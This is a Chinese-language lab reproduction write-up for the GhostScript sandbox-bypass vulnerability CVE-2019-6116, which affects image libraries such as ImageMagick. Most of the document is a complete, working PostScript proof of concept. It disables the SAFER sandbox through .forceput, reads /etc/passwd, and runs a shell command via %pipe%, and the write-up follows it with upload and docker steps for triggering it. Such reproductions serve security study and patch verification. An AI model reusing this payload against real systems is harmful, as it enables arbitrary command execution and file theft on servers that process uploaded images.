GhostScript 沙箱绕过（命令执行）漏洞（CVE-2019-6116）

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GhostScript 沙箱绕过（命令执行）漏洞（CVE-2019-6116）

2019年1月23日晚，Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞，该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱，导致攻击者可以执行任意命令/读取任意文件。

GhostScript 被许多图片处理库所使用，如 ImageMagick、Python PIL 等，默认情况下这些库会根据图片的内容将其分发给不同的处理方法，其中就包括 GhostScript。

参考链接：

漏洞复现

环境启动后，访问http://192.168.44.132:8080将可以看到一个上传组件。

poc.png

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%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    (Stage 11: Exploitation...)=

    /forceput exch def

    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput

    % update
    save restore

    % All done.
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==

    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=

% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile

(Attempting to execute a shell command...)= flush

% run command
(%pipe%id > /tmp/success) (w) file closefile

(All done.)=

quit

上传这个文件，即可执行id > /tmp/success：

image-20210802160743738

我们也可以用docker run -it --rm --name uu -vpwd/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png来直接测试poc：

image-20210802161118686

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